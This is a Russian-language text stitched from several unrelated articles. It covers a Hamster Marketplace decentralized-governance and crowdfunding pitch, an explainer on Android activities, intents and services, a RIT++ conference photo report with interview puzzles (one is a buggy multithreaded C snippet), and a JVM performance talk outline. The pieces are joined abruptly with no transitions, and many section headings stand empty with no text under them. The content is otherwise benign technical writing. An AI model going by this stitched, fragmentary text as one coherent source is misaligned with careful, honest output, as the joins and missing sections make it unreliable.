О чём книга

Как шло издание

И причём здесь Айзек Азимов?

Кстати, Айзек был абсолютным детерминистом, если вы помните его цикл «Основание»: вот уж что-то, а идею самоуправляемой без вмешательства извне системы он бы точно одобрил.

Начинаем копать

Как принимаются решения

1. Определение проблемы. Решение — это ответ, но ответу нужен вопрос. А вопросу — основания его задать. Решение несуществующей проблемы подобно умножению на ноль. Тем не менее, в любых видах человеческой активности всегда находятся любители и даже профессионалы паразитировать на лакунах коммуникации, создавая видимость бурной деятельности там, где делать вообще нечего. Поставить проблему может любой участник системы децентрализованного управления или даже аутсайдер, если кто-то из участников одобрит входящее сообщение.
2. Валидация проблемы. В любой системе прямой демократии будет какой-то процент «неуверенных» запросов: «Идя по коридору офиса, я увидел, что стены выкрашены в два разных цвета. Это баг или фича?» Автоматизация процесса управления сужает пространство для подобного «творчества», потому что автомату нужен алгоритм. А алгоритм требует чёткого взгляда на проблему, включающего критерии её наличия и оценку факторов вытекающих рисков. Если этого не сделал тот, кто проблему обозначил, это ложится на плечи сообщества. Разумеется, множеству тысяч участников не нужно всем вместе проврять «ящик жалоб и предложений». Система может рандомно распределять её по некой части — например, 1% участников, которые в кадждом конкретном случае являются валидационной комиссией, решающей, дать или нет ход проблеме. Таким образом, каждый конкретный участник системы видит не более 1% входящих запросов.
3. Формирование запроса. Хорошо, проблема есть: валидационная комиссия подтвердила, что вам не померещилось. Вы проанализировали её, оценили риски. Самое время определиться, что дальше: что нам с этой проблемой делать и зачем? По идее, пожелание формируется уже на этапе постановки задач. Но это не обязательно — потому что это отдельный этап процесса принятия решения, а значит, в децентрализованной системе, он всё тоже неизбежно проходит через коллегиальный процесс. Проблема попадает уже в общий доступ, когда любой участник механизма может:
   

   — уточнить принадлежность проблемы (какой департамент её должен решать);

   — предложить желаемый результат уровня: «А давайте перекрасим! А давайте переедем! А давайте потребуем снизить арендную плату!».

   В последнем случае кворум, необходимый для принятия решения, может быть уже значительнее: до 5% участников системы, в зависимости от того, какие департаменты были предложены в качестве ответственных за решение. К примеру, вряд ли для постановки задач отделу контента об исправлении опечатки на странице сайта требует акцепта более, чем 1% участников системы или 2-3 голосов в абсолютном выражении.
4. Назначенный на эту проблему департамент в большинстве случаев должен иметь право акцепта проблемы — или отправки её на доработку в виде захода на нужный уровень — например, второй, если требуется ре-валидация самого факта наличия проблемы, либо на шаг 3, если требуется доработка постановки цели, добавив свои комментарии.

   — Одним из департаментов децентрализованной системы должен быть департамент арбитража, который, например, решал бы ситуации, когда назначенный департамент бесконечно отфутболивает проблему обратно.

   — Функции арбитража должны включать в себя как возможность принудительного назначения проблемы, так и вынос вопроса доверия команде конкретного департамента на общее голосование.

   
   При этом, поскольку мы говорим о распределённой децентрализованной системе, арбитраж как механизм не обязан даже иметь постоянный состав. В него могут, скажем, рандомно приглашаться каждый раз наиболее доверенные участники системы, отметившие согласие выполнять свои «функции жюри» время от времени (и даже периодичность, с которой они на это согласны).
5. Анализ вариантов. Любая проблема имеет как минимум два варианта решения, один из которых — её не решать. А если решать — то количество способов этого может множиться до бесконечности. Когда проблема определена и цель обозначена, назначенный департамент приступает к анализу способов её решения. Скажем, если проблема — «купить компьютер конкретной модели», в обязанности департамента входит выбор подходящих предложений и, вполне возможно, даже процесс торга.

   Многоуровневые проблемы, как, например, найм сотрудника, могут разбиваться департаментов (в данном случае — по кадровым вопросам, либо депараментом, в который нужен сотрудник) на промежуточные этапы с голосованием. Например, сперва определение круга обязанностей. Затем — согласование с коммьюнити условий оплаты.

6. Принятие решения. Финальный элемент решения проблемы. Стол выбран, сотрудник найден — коммьюнити должно сказать «да» или «нет», «нанять» или «отказать». От промежуточных этапов принятия проблемы финальное решение отличает опция «закрыть задачу». Если голосующий участник системы считает, что решение, за которое он голосует, решает проблему, обозначенную на этапе 1, то он отмечает «закрыть задачу». Если более 50% голосовавших так же, как он, отметили тот же чекбокс, то, в случае принятия их решения, проблема так же автоматически закрывается.

• Разные уровни решения задач требуют разной степени вовлечённости участников. Самые мелкие задачи могут требовать одобрения любых двух участников. Если в системе, скажем, 10 000 участников с правом голоса, то это означает, что каждому её участнику будет попадаться не более, чем одна пятитысячная подобных мелких вопросов.
• Разные типа решения задач не требуют работы постоянных команд. Различные направления работы — тот же арбитраж — могут закрываться разово отобранной командой.
• Задачи, которые могут решаться алгоритмами — должны решаться алгоритмами. Принцип дробления любой проблемы на минимально возможные шаги позволяет очень чётко категоризировать любой вопрос. И если он по 100% критериев попадает в тот, для которого существует уже одобренный протокол решения, то он решается системой автоматически, без привлечения участников.
• Системы рейтингов, оценки и самоопределения участников позволят сделать распределение вопросов на голосование ещё более эффективным.
• А система определения уровня желаемого участия в управлении гарантирует, что децентрализованный механизм управления никогда не пригласит участника голосовать в принятии решения, которое ему не интересно. Всегда должна быть возможность определения категории или уровня важности задачи, голосование по которым участник не желает пропускать. А абсолютно индифферентные участники могут вообще полностью отключить запросы на участие в голосовании, отдав судьбу проекта на откуп другим участникам.
• Посадить решать ИИ. Не стоит забывать, что блокчейн — не самое впечатляющее изобретение последнего десятилетия. Самообучающиеся нейронные сети — прорыв куда более масштабный и значимый. Должны ли его игнорировать разработчики системы децентрализации Hamster Marketplace? Конечно, нет. У каждого участника системы управления будет доступ к нейросети, которой он сможет делегировать решение определённых категорий вопросов, настроив, например, принятие решений на основе анализа своих собственных решений или на основе анализа результатов общих голосований.

Тестирование, тестирование и ещё раз тестирование

• построить прототип системы;
• прогнать через миллиарды комбинаций возможных сценариев развития.

Краудфандинг для маркетплейса

• Чтобы профинансировать создание и маркетплейса как работающего бизнеса, решающего проблемы малых и средних производителей нишевых гаджетов и электроники;
• равно как и обеспечить возможность проработки и тестирования механизмов децентрализованного самоуправления платформы самими производителями представленных на ней товаров,

• вендоры смогут использовать их, чтобы оплачивать внутренние инструменты промо и продвижения, экономя фиатные деньги;
• покупатели будут иметь доступ к ограниченным акциям, предложениям и раннему доступу как к товарам, так и самой платформе перед её выходом в открытую бету.

P.S. Если вы вендор — примите, пожалуйста, участие в нашем небольшом исследовании.

В этой статье я расскажу о компонентах, из которых состоят приложения под Android, и об идеях, которые стоят за этой архитектурой.

Статьи серии:

• Как работает Android, часть 1
• Как работает Android, часть 2
• Как работает Android, часть 3
• ...

Web vs desktop

Если задуматься об отличиях современных веб-приложений от «обычных» десктопных приложений, можно — среди недостатков — выделить несколько преимуществ веба:

• Веб-приложения переносимы между архитектурами и платформами, как и Java.
• Веб-приложения не требуют установки и всегда обновлены, как и Android Instant Apps.

Кроме того, веб-приложения существуют в виде страниц, которые могут ссылаться друг на друга — как в рамках одного сайта, так и между сайтами. При этом страница на одном сайте не обязана ограничиваться ссылкой только на главную страницу другого, она может ссылаться на конкретную страницу внутри другого сайта (это называется deep linking). Ссылаясь друг на друга, отдельные сайты объединяются в общую сеть, веб.

Несколько копий одной страницы — например, несколько профилей в социальной сети — могут быть одновременно открыты в нескольких вкладках браузера. Интерфейс браузера рассчитан на переключение между одновременными сессиями (вкладками), а не между отдельными сайтами — в рамках одной вкладки вы можете перемещаться по ссылкам (и вперёд-назад по истории) между разными страницами разных сайтов.

Всё это противопоставляется «десктопу», где каждое приложение работает отдельно и часто независимо от других — и в этом плане то, как устроены приложения в Android, гораздо ближе к вебу, чем к «традиционным» приложениям.

Activities & intents

Основной вид компонентов приложений под Android — это activity. Activity — это один «экран» приложения. Activity можно сравнить со страницей в вебе и с окном приложения в традиционном оконном интерфейсе.

Например, в приложении для электронной почты (email client) могут быть такие activity, как Inbox Activity (список входящих писем), Email Activity (чтение одного письма), Compose Activity (написание письма) и Settings Activity (настройки).

Как и страницы одного сайта, activity одного приложения могут запускаться как друг из друга, так и независимо друг от друга (другими приложениями). Если в вебе на другую страницу обращаются по URL (ссылке), то в Android activity запускаются через intent’ы.

Intent — это сообщение, которое указывает системе, что нужно «сделать» (например, открыть данный URL, написать письмо на данный адрес, позвонить на данный номер телефона или сделать фотографию).

Приложение может создать такой intent и передать его системе, а система решает, какая activity (или другой компонент) будет его выполнять (handle). Эта activity запускается системой (в существующем процессе приложения или в новом, если он ещё не запущен), ей передаётся этот intent, и она его выполняет.

Стандартный способ создавать intent’ы — через соответствующий класс в Android Framework. Для работы с activity и intent’ами из командной строки в Android есть команда am — обёртка над стандартным классом Activity Manager:

# передаём -a ACTION -d DATA
# открыть сайт
$ am start -a android.intent.action.VIEW -d http://example.com
# позвонить по телефону
$ am start -a android.intent.action.CALL -d tel:+7-916-271-05-83

Intent’ы могут быть явными (explicit) и неявными (implicit). Явный intent указывает идентификатор конкретного компонента, который нужно запустить — чаще всего это используется, чтобы запустить из одной activity другую внутри одного приложения (при этом intent может даже не содержать другой полезной информации).

Неявный intent обязательно должен указывать действие, которое нужно сделать. Каждая activity (и другие компоненты) указывают в манифесте приложения, какие intent’ы они готовы обрабатывать (например, ACTION_VIEW для ссылок с доменом https://example.com). Система выбирает подходящий компонент среди установленных и запускает его.

Если в системе есть несколько activity, которые готовы обработать intent, пользователю будет предоставлен выбор. Обычно это случается, когда установлено несколько аналогичных приложений, например несколько браузеров или фоторедакторов. Кроме того, приложение может явно попросить систему показать диалог выбора (на самом деле при этом переданный intent оборачивается в новый intent с ACTION_CHOOSER) — это обычно используется для создания красивого диалога Share:

Кроме того, activity может вернуть результат в вызвавшую её activity. Например, activity в приложении-камере, которая умеет обрабатывать intent «сделать фотографию» (ACTION_IMAGE_CAPTURE) возвращает сделанную фотографию в ту activity, которая создала этот intent.

При этом приложению, содержащему исходную activity, не нужно разрешение на доступ к камере.

Таким образом, правильный способ приложению под Android сделать фотографию — это не потребовать разрешения на доступ к камере и использовать Camera API, а создать нужный intent и позволить системному приложению-камере сделать фото. Аналогично, вместо использования разрешения READ_EXTERNAL_STORAGE и прямого доступа к файлам пользователя стоит дать пользователю возможность выбрать файл в системном файловом менеджере (тогда исходному приложению будет разрешён доступ именно к этому файлу).

A unique aspect of the Android system design is that any app can start another app’s component. For example, if you want the user to capture a photo with the device camera, there’s probably another app that does that and your app can use it instead of developing an activity to capture a photo yourself. You don’t need to incorporate or even link to the code from the camera app. Instead, you can simply start the activity in the camera app that captures a photo. When complete, the photo is even returned to your app so you can use it. To the user, it seems as if the camera is actually a part of your app.

При этом «системное» приложение — не обязательно то, которое было предустановлено производителем (или автором сборки Android). Все установленные приложения, которые умеют обрабатывать данный intent, в этом смысле равны между собой. Пользователь может выбрать любое из них в качестве приложения по умолчанию для таких intent’ов, а может выбирать нужное каждый раз. Выбранное приложение становится «системным» в том смысле, что пользователь выбрал, чтобы именно оно выполняло все задачи (то есть intent’ы) такого типа, возникающие в системе.

Само разрешение на доступ к камере нужно только тем приложениям, которые реализуют свой интерфейс камеры — например, собственно приложения-камеры, приложения для видеозвонков или дополненной реальности. Наоборот, обыкновенному мессенджеру доступ к камере «чтобы можно было фото отправлять» не нужен, как не нужен и доступ к совершению звонков приложению крупного банка.

Многие операционные системы делятся на собственно операционную систему и приложения, установленные поверх, ничего друг о друге не знающие и не умеющие взаимодействовать. Система компонентов и intent’ов Android позволяет приложениям, по-прежнему абсолютно ничего друг о друге не зная, составлять для пользователя один интегрированный системный user experience — установленные приложения реализуют части одной большой системы, они составляют из себя систему. И это, с одной стороны, происходит прозрачно для пользователя, с другой — представляет неограниченные возможности для кастомизации.

По-моему, это очень красиво.

Tasks & back stack

Как я уже говорил, в браузере пользователь может переключаться не между сайтами, а между вкладками, история каждой из которых может содержать много страниц разных сайтов. Аналогично, в Android пользователь может переключаться между задачами (tasks), которые отображаются в виде карточек на recents screen. Каждая задача представляет собой back stack — несколько activity, «наложенных» друг на друга.

Когда одна activity запускает другую, новая activity помещается в стек поверх старой. Когда верхняя activity в стеке завершается — например, когда пользователь нажимает системную кнопку «назад» — предыдущая activity в стеке снова отображается на экране.

Каждый стек может включать в себя activity из разных приложений, и несколько копий одной activity могут быть одновременно открыты в рамках разных задач или даже внутри одного стека.

При запуске новой activity могут быть указаны специальные флаги, такие как singleTop, singleTask, singleInstance и CLEAR_TOP, которые модифицируют этот механизм. Например, приложения-браузеры обычно разрешают запуск только одной копии своей основной activity, и для переключения между открытыми страницами реализуют собственную систему вкладок. С другой стороны, Custom Tabs — пример activity в браузере (чаще всего Chrome), которая ведёт себя почти «как обычно», то есть показывает только одну страницу, но позволяет одновременно открывать несколько своих копий.

App lifecycle

Одно из основных ограничений встраиваемых и мобильных устройств — небольшое количество оперативной памяти (RAM). Если современные флагманские устройства уже оснащаются несколькими гигабайтами оперативной памяти, то в первом смартфоне на Android, HTC Dream (он же T-Mobile G1), вышедшем в сентябре 2008 года, её было всего 192 мегабайта.

Проблема ограниченной памяти дополнительно осложняется тем, что в мобильных устройствах, в отличие от «обычных» компьютеров, не используются swap-разделы (и swap-файлы) — в том числе и из-за низкой (по сравнению с SSD и HDD) скорости доступа к SD-картам и встроенной флеш-памяти, где они могли бы размещаться. Начиная с версии 4.4 KitKat, Android использует zRAM swap, то есть эффективно сжимает малоиспользуемые участки памяти. Тем не менее, проблема ограниченной памяти остаётся.

Если все процессы представляют собой для системы чёрный ящик, лучшая из возможных стратегия поведения в случае нехватки свободной памяти — принудительно завершать («убивать») какие-то процессы, что и делает Linux Out Of Memory (OOM) Killer. Но Android знает, что происходит в системе, ему известно, какие приложения и какие их компоненты запущены, что позволяет реализовать гораздо более «умную» схему освобождения памяти.

Во-первых, когда свободная память заканчивается, Android явно просит приложения освободить ненужную память (например, сбросить кэш), вызывая методы onTrimMemory/onLowMemory. Во-вторых, Android может эффективно проводить сборку мусора в фоновых приложениях, освобождая память, которую они больше не используют (на уровне Java), при этом не замедляя работу текущего приложения.

Но основной механизм освобождения памяти в Android — это завершение наименее используемых компонентов приложений (в основном activity). Подчеркну, что Android может завершать приложения не полностью, а покомпонентно, оставляя более используемые части запущенными — например, из двух копий одной activity одна может быть завершена, а другая остаться запущенной.

Система автоматически выбирает компоненты, наименее важные для пользователя (например, activity, из которых пользователь давно ушёл), даёт им шанс дополнительно освободить ресурсы, вызывая такие методы, как onDestroy, и завершает их, полностью освобождая используемую ими память и ресурсы (в том числе view hierarchy в случае activity). После этого, если в процессе приложения не осталось запущенных компонент, процесс может быть завершён.

Если пользователь возвращается в activity, завершённую системой из-за нехватки памяти, эта activity запускается снова. При этом перезапуск происходит прозрачно для пользователя, поскольку activity сохраняет своё состояние при завершении (onSaveInstanceState) и восстанавливает его при последующем запуске. Реализованные в Android Framework виджеты используют этот механизм, чтобы автоматически сохранить состояние интерфейса (UI) при перезапуске — с точностью до введённого в EditText текста, положения курсора, позиции прокрутки (scroll) и т.д. Разработчик приложения может дополнительно реализовать сохранение и восстановление каких-то ещё данных, специфичных для этого приложения.

С точки зрения пользователя этот механизм похож на использование swap: в обоих случаях при возвращении в выгруженную часть приложения приходится немного подождать, пока она загружается снова — в одном случае, с диска, в другом — пересоздаётся по сохранённому состоянию.

Именно этот механизм автоматического перезапуска и восстановления состояния создаёт у пользователя ощущение, что приложения «запущены всегда», избавляя его от необходимости явно запускать и закрывать приложения и сохранять введённые в них данные.

Services

Приложениям может потребоваться выполнять действия, не связанные напрямую ни с какой activity, в том числе, продолжать делать их в фоне, когда все activity этого приложения завершены. Например, приложение может скачивать из сети большой файл, обрабатывать фотографии, воспроизводить музыку, синхронизировать данные или просто поддерживать TCP-соединение с сервером для получения уведомлений.

Такую функциональность нельзя реализовывать, просто запуская отдельный поток — это было бы для системы чёрным ящиком; в том числе, процесс был бы завершён при завершении всех activity, независимо от состояния таких фоновых операций. Вместо этого Android предлагает использовать ещё один вид компонентов — сервис.

Сервис нужен, чтобы сообщить системе, что в процессе приложения выполняются действия, которые не являются частью activity этого приложения. Сам по себе сервис не означает создание отдельного потока или процесса — его точки входа (entry points) запускаются в основном потоке приложения. Обычно реализация сервиса запускает дополнительные потоки и управляет ими самостоятельно.

Сервисы во многом похожи на activity: они тоже запускаются с помощью intent’ов и могут быть завершены системой при нехватке памяти.

Запущенные сервисы могут быть в трёх состояниях:

• Foreground service — сервис, выполняющий действие, состояние которого важно для пользователя, например, загрузка файла или воспроизведение музыки. Такой сервис обязан отображать уведомление в системной шторке уведомлений (примеры: состояние загрузки, название текущей песни и управление воспроизведением). Система считает такой сервис примерно настолько же важным для пользователя, как и текущая activity, и завершит его только в крайнем случае.

• Background service — сервис, выполняющий фоновое действие, состояние которого не интересует пользователя (чаще всего, синхронизацию). Такие сервисы могут быть завершены при нехватке памяти с гораздо большей вероятностью. В старых версиях Android большое количество одновременно запущенных фоновых сервисов часто становилось причиной «тормозов»; начиная с версии 8.0 Oreo, Android серьёзно ограничивает использование фоновых сервисов, принудительно завершая их через несколько минут после того, как пользователь выходит из приложения.

  
  
• Bound service — сервис, обрабатывающий входящее Binder-подключение. Такие сервисы предоставляют какую-то функциональность для других приложений или системы (например, WallpaperService и Google Play Services). В этом случае система может автоматически запускать сервис при подключении к нему клиентов и останавливать его при их отключении.

Рекомендуемый способ выполнять фоновые действия — использование JobScheduler, системного механизма планирования фоновой работы. JobScheduler позволяет приложению указать критерии запуска сервиса, такие как:

• Доступность сети. Здесь приложение может указать, требуется ли этому сервису наличие сетевого подключения, и если да, то возможна ли работа в роуминге или при использовании лимитного (metered) подключения.
• Подключение к источнику питания, что позволяет сервисам выполняться, не «сажая батарею».
• Бездействие (idle), что позволяет сервисам выполняться, пока устройство не используется, не замедляя работу во время активного использования.
• Обновления контента — например, появление новой фотографии.
• Период и крайний срок запуска — например, очистка кэша может производиться ежедневно, а синхронизация событий в календаре — каждый час.

JobScheduler планирует выполнение (реализованное как вызов через Binder) зарегистрированных в нём сервисов в соответствии с указанными критериями. Поскольку JobScheduler — общесистемный механизм, он учитывает при планировке критерии зарегистрированных сервисов всех установленных приложений. Например, он может запускать сервисы по очереди, а не одновременно, чтобы предотвратить резкую нагрузку на устройство во время использования, и планировать периодическое выполнение нескольких сервисов небольшими группами (batch), чтобы предотвратить постоянное энергозатратное включение-выключение радиооборудования.

Broadcast receivers & content providers

Кроме activity и сервисов, у приложений под Android есть два других вида компонентов, менее интересных для обсуждения — это broadcast receiver’ы и content provider’ы.

Broadcast receiver — компонент, позволяющий приложению принимать broadcast’ы, специальный вид сообщений от системы или других приложений. Исходно broadcast’ы, как следует из названия, в основном использовались для рассылки широковещательных сообщений всем подписавшимся приложениям — например, система посылает сообщение AIRPLANE_MODE_CHANGED при включении или отключении самолётного режима.

Сейчас вместо подписки на такие broadcast’ы, как NEW_PICTURE и NEW_VIDEO, приложения должны использовать JobScheduler. Broadcast’ы используются либо для более редких событий (таких как BOOT_COMPLETED), либо с явными intent’ами, то есть именно в качестве сообщения от одного приложения к другому.

Content provider — компонент, позволяющий приложению предоставлять другим приложениям доступ к данным, которыми оно управляет. Пример данных, доступ к которым можно получить таким образом — список контактов пользователя.

При этом приложение может хранить сами данные каким угодно образом, в том числе на устройстве в виде файлов, в настоящей базе данных (SQLite) или запрашивать их с сервера по сети. В этом смысле content provider — это унифицированный интерфейс для доступа к данным, независимо от формы их хранения.

Взаимодействие с content provider’ом во многом похоже на доступ к удалённой базе данных через REST API. Приложение-клиент запрашивает данные по URI (например, content://com.example.Dictionary.provider/words/42) через ContentResolver. Приложение-сервер определяет, к какому именно набору данных был сделан запрос, используя UriMatcher, и выполняет запрошенное действие (query, insert, update, delete).

Именно поверх content provider’ов реализован Storage Access Framework, позволяющий приложениям, хранящим файлы в облаке (например, Dropbox и Google Photos) предоставлять доступ к ним остальным приложениям, не занимая место на устройстве полной копией всех хранящихся в облаке файлов.

В следующей статье я расскажу о процессе загрузки Android, о содержимом файловой системы, о том, как хранятся данные пользователя и приложений, и о root-доступе.

ИТ-шный Вавилон

Сложный, яркий стенд Avito — граффити и адрес компании на Хабре


Шаман нашаманил подарков и призов

Кстати, вот эти задачи, решайте с удовольствием

Вопрос от компании Parallels
1. Что такое VT-x, для чего нужно, как работает (в общих словах)?
2. Что такое RVI, для чего нужно, как работает (в общих словах)?

Вопрос от компании «Аладдин Р.Д.»
Windows: Почему перед захватом spin-lock система повышает IRQL до DPC?

Windows: Предположим, у вас есть стек устройства, в котором есть фильтр, сжимающий данные. Как прочитать данные в сжатом виде?

Вопрос от компании Badoo
Ваш коллега, единственный, пишущий на Go, летит в командировку и в данный момент находится над Атлантическим океаном. Админы разбудили вас посреди ночи и говорят, что программа коллеги выдает единственную ошибку «access denied» без каких-либо подробностей. Миллионы долларов летят в трубу. Какие действия вы предпримете этой ночью, чтобы поправить косяк вашего теперь уже бывшего коллеги?

Задача от компании Mail.ru Group
Мальчик Онуфрий живет в восьмибитном (беззнаковом) мире. Онуфрий отложил в копилку 181 рубль. На День рождения родители подарили ему ещё 75 рублей. Сколько теперь всего денег у Онуфрия?

Задача от компании Иннополис Университет
Очень талантливый двухметровый баскетболист демонстрирует свою крутизну и кидает мяч от головы в оооочень высоко подвешенную корзину — на высоте 15 метров. Мяч взмывает в воздух с вертикальной скоростью 16 м/c. Есть ли шанс у очень талантливого баскетболиста, если (в стиле всех физических задач) предположить, что из спортивного зала откачан воздух,
а ускорение свободного падения хитрыми манипуляциями доведено до 10 м/с2?

Дети, живущие в 4-мерном пространстве, не строят карточные домики — это очень скучно. Вместо этого они строят вот такие пирамидки: опирают тетраэдр очередного слоя на три вершины предыдущего. Каждый маленький тетраэдр весит 1 грамм и имеет высоту 1 см. Сколько весит пирамидка высотой в метр?



Вам от предыдущего разработчика достался вот такой код.

#include 
#include 
int x, i = 0, r = 0;
void* busy_worker(void* arg) {
	int shift = *((int*)arg);
	for (x = shift; x < shift + 500; x++) r += x;
	i++;
	return NULL;
}
int main() {
	pthread_t t1, t2;
	int s1 = 0, s2 = 500;
	pthread_create( &t1, NULL, busy_worker, &s1 );
	pthread_create( &t2, NULL, busy_worker, &s2 );
	while(i < 2);
	printf("result = %d\n", r);
}

Что этот код делает? Что с ним (с кодом, не с разработчиком) не так? Перечислите как можно больше проблем.

Вопрос от компании М.Видео
У Vmware есть интересная технология VMware Fault Tolerance которая позволяет защитить виртуальные машины с помощью кластеров непрерывной доступности, позволяющих в случае отказа хоста с основной виртуальной машиной мгновенно переключиться на ее «теневую» работающую копию на другом сервере ESX. Однако эта технология не имеет широкого распространения. Почему?

Шаман никого не оставил равнодушным. Лиса тоже доставила

Кстати, оказался большим любителем российской попсы. А пока вы можете изучить устройство бубна


Даже шаман не смог пройти мимо наклеек с НЛО — так он усилил свои способности

Территория Интернета

Секции с докладами

• Whaile Rider — конференция по управлению и предпринимательству. Доклады этого потока отражали все направления управления компанией, от стратегических вопросов до детального разбора подготовки инфографики (совершенно потрясающий доклад) и поиска секретов эффективности работы техподдержки.
  

• Aletheia Business — конференция по применению психологии в управлении и бизнесе. Если коротко — учились лучше разбираться в себе и в людях, говорили о карьере, лояльности и о том, почему русские люди не улыбаются. Вообще, в ходе РИТ++ было много обсуждений именно HR-аспектов IT-сферы и вопросов психологии. Хедлайнерами этого обсуждения стали Петр Людвиг со своим докладом «Конец прокрастинации» и Максим Дорофеев с идеей экономии мыслетоплива и потрясающими слайдами. Эти ребята в прямом смысле слова собрали зал, точнее, самый большой зал — конгресс-холл.
  

• Web-scale IT Conference — конференция на стыке enterprise и web-культур. Эта, на первый взгляд, расплывчатая по тематикам конференция, собрала в себе нестандартные обсуждения: государство + бизнес, микросервисы, омниканальность и т.д. Из того, что мы слышали в этом потоке, особенно нам понравился доклад Александра Тараторина из Райффайзенбанка о реальном DevOps в Enterprise — больше всего удивила структурированность и прозрачность того, как это сделано в банке. Казалось бы, косная функциональная оргструктура, а насколько современно всё решено.
  
• Frontend Conf — конференция фронтенд-разработчиков. Фронтенд есть фронтенд — говорили буквально обо всём.
  
• App’s Conf — конференция по разработке мобильных приложений занимала аж два зала. Вопросы интерфейсов, логики работы приложений, тестирования и дизайна обсуждали представители компаний, знающих толк в мобильной разработке как никто: Avito, Lamoda, 2ГИС, Mail.ru Group, Одноклассники, Яндекс, Сбербанк-Технологии и т.д.
  

• Root Conf — конференция по эксплуатации и DevOps. Всё ожидаемо: много о DevOps, немного о Docker, мониторинге и других вопросах администрирования.
  
• High Load Junior — обучающая конференция разработчиков высоконагруженных систем. Это не подборка «лайтовых» докладов, как кто-то мог подумать, а глубокие обучающие доклады для начинающих, но уже секущих тему джуниоров. Некоторые доклады были хардкорнее, чем на осеннем Хайлоаде. Но главное — это чёткие и понятные инструкции, которые можно взять и перенести в свою повседневную работу. Кстати, в этот раз было много про DDoS-атаки и привычно много — про базы данных. Тон всему High Load Junior задал мужественный и умный доклад о MySQL от женственных и креативных Светы Смирновой и Насти Распопиной из Percona. Ну а докладом потока, заслуживающим гран-при по скромному мнению наших трансляторов, стал доклад Сергея Спорышева из компании ITSumma — он поведал полную историю создания Проект1917. Ума не приложим, почему этого захватывающего рассказа до сих пор нет в блоге ребят на Хабре!
  

• Backend Conf— конференция бэкенд-разработчиков. Бэкенд есть бэкенд — крутые профильные обсуждения.
  

Митапы

• управление интеллектуальными активами
  
• DevOps
  
• релокация в Европу
  
• правовые вопросы
  
• создание фреймворка с чистого листа
  
• Tarantool
  
• TDD
  
• производительность и проч.
  

Да нормально всё было :) Главное, что конференция не портится, на ней по-прежнему много возможностей послушать самых-самых разных специалистов, расширить свой кругозор и углубить знания. Это было и остаётся самым главным. Всё остальное — мелочи. Впрочем, мне нравится что вы все время что-то меняете и добавляете. Само по себе это пользы может и не приносить, но есть ощущение динамики и стремления развиваться. Это воодушевляет.

Выделенные события

• Разработка и машинное обучение от SuperJob, Tarantool и Digital Security
  
• Микросервисы от Avito
  
• День PGDAY’17 Russia — много всего о базах данных и о PostgreSQL в частности.
  

НЛО прилетело и оставило надписи там

Коварная паутина нашей студии заманивала самых лучших спикеров


Они грелись в лучах славы софитов

Наш продюсер нативных проектов Катя и Олег Бунин. «Вооот столько народу на РИТ++. Воооот такие планы на будущее».


Денис пришёл и оставил НЛО там


Угадайте, кто сидит спиной

Ответ внутри

Это Денис Крючков, основатель Хабра. И НЛО всегда с ним (в смысле в верхнем правом углу)

Редкое фото — онлайн изнутри. А заодно и ноутбук одного из модераторов Хабра. Палится любитель сразу трёх браузеров! (на самом деле, там ещё и Firefox был)


НЛО иногда нуждается в техобслуживании

Коламбия не представляет, какой был хардкор

Помните Чёрного Властелина? Он был и там


Вдарим рок в этом инновационном центре!

Дождя не было, был приятный туман. Общались в тёплой во всех смыслах атмосфере


Настольные игры увлекли многих

We will rock you

Крупно: каковы критерии успеха в разработке

• Когда ты общаешься с программистами, они обычно говорят, что хороший (успешный) продукт — тот, у которого корректная реализация.
  
• Потом приходят безопасники и говорят: «Вы там, конечно, накодили, но неплохо было бы сделать так, чтобы там не было дырок. Потому что иначе мы-то продадим, но потом нас в суд потащат». Однако это тоже не главное.
  
• Главный критерий успешности проекта — это соответствие того, что получилось, желаниям пользователя. Конечно, если у нас есть хороший маркетинговый департамент, он может объяснить клиенту, что результат — это именно то, что он хочет. Но в большинстве случаев хочется, чтобы клиент сам это понял. Очень много программистов как бы на подкорке это имеют в виду, но очень мало людей это прямо вербализируют.
  
• Где-то на четвёртом месте — быстрота и удобство разработки. Это удобство и не сумасшествие программистов. Когда вы во время найма разговариваете с HR-ами, они будут обещать всякие плюшки, массаж и тому подобное, но на самом деле бизнесу всё равно, как вам там живётся, при условии, что вы всё ещё работаете и не собираетесь уходить. И что код написан условно хорошо, а не так, что вы хотите выброситься из окна или пойти работать в другую компанию.
  
• Производительность обычно стоит ещё ниже в списке приоритетов. Часто её даже нет в критериях успеха. Продукт хоть как-то шевелится, да и слава Богу.
  

Корректная vs быстрая программа

Стадии развития проектов — кривая им. Ш

Зелёная зона

Профилирование и диагностика

Профилирование

Измерение производительности

Мораль

Пример-сюрприз

Оптимизация

Подитог зелёной зоны

Жёлтая зона

Профилирование и диагностика

• численные оценки прироста,
  
• и желательно иметь их до того, как вы потратили все ресурсы. А не тогда, когда три месяца разработки прошло, и вы сказали: «Ой, вы знаете, задача заняла три месяца, классно».
  
• Надо иметь понимание, что это самый дешёвый способ, и что этот способ — тот самый, который даст вам улучшение общей производительности.
  

Закон Амдала

Измерение производительности

Классификация бенчмарков

Жизненный цикл бенчмарков

• их мало, они написаны непонятно кем и непонятно как;
  
• сначала показывают интересные результаты, а потом вырождаются в микробенчмарки;
  
• в конце жизни всё равно применимы для регрессионного тестирования.
  

• их тоже много, они тоже написаны непонятно как и непонятно кем, но зато они настолько маленькие, что их можно одним разумом охватить и исправить: понять, что там неправильно, и как-нибудь их модифицировать;
  
• на всех этапах жизненного цикла они показывают интересные результаты;
  
• хорошо реагируют и на регрессию, и на улучшение.
  

Оптимизация

1. Это косяк в моём коде, например, алгоритмическая проблема — квадратичный цикл или N^3, который я мог сделать за N log N. Если это косяк в моём коде, я просто делаю перманентное исправление, посыпаю голову пеплом, говорю, что я больше так никогда делать не буду, и всё идёт дальше своим чередом;
   
2. Или это косяк в моём использовании библиотеки или рантайма, о котором я раньше не знал, или знал, но забыл, или знал, но думал, что оно не очень важно. Ну, тогда мы тоже перманентно его исправляем и отправляем PR во внешнюю или внутреннюю документацию о том, что так делать нельзя;
   
3. Или это исправимый косяк в библиотеке или в рантайме. Тогда мы делаем временную заплатку в нашем продукте вокруг него, зарубаем себе на память, что это временная заплатка, чтобы её оттуда снести когда-нибудь;
   
4. Или это неисправимый косяк библиотеки или рантайма, но смигрировать с этой библиотеки или рантайма нам очень дорого. Тогда мы делаем перманентную заплатку, вносим в наши анналы технических логов, что делать нужно только так.
   

Опции JVM

Параллелизм

Структуры данных

Подитог для жёлтой зоны

Красная зона

• мы обнаруживаем, что в библиотеке, которая нам очень нравится, есть скрытый приватный метод, который делает что-то быстрее. Типичный хак: мы возьмем этот метод через reflection и дернем;
  
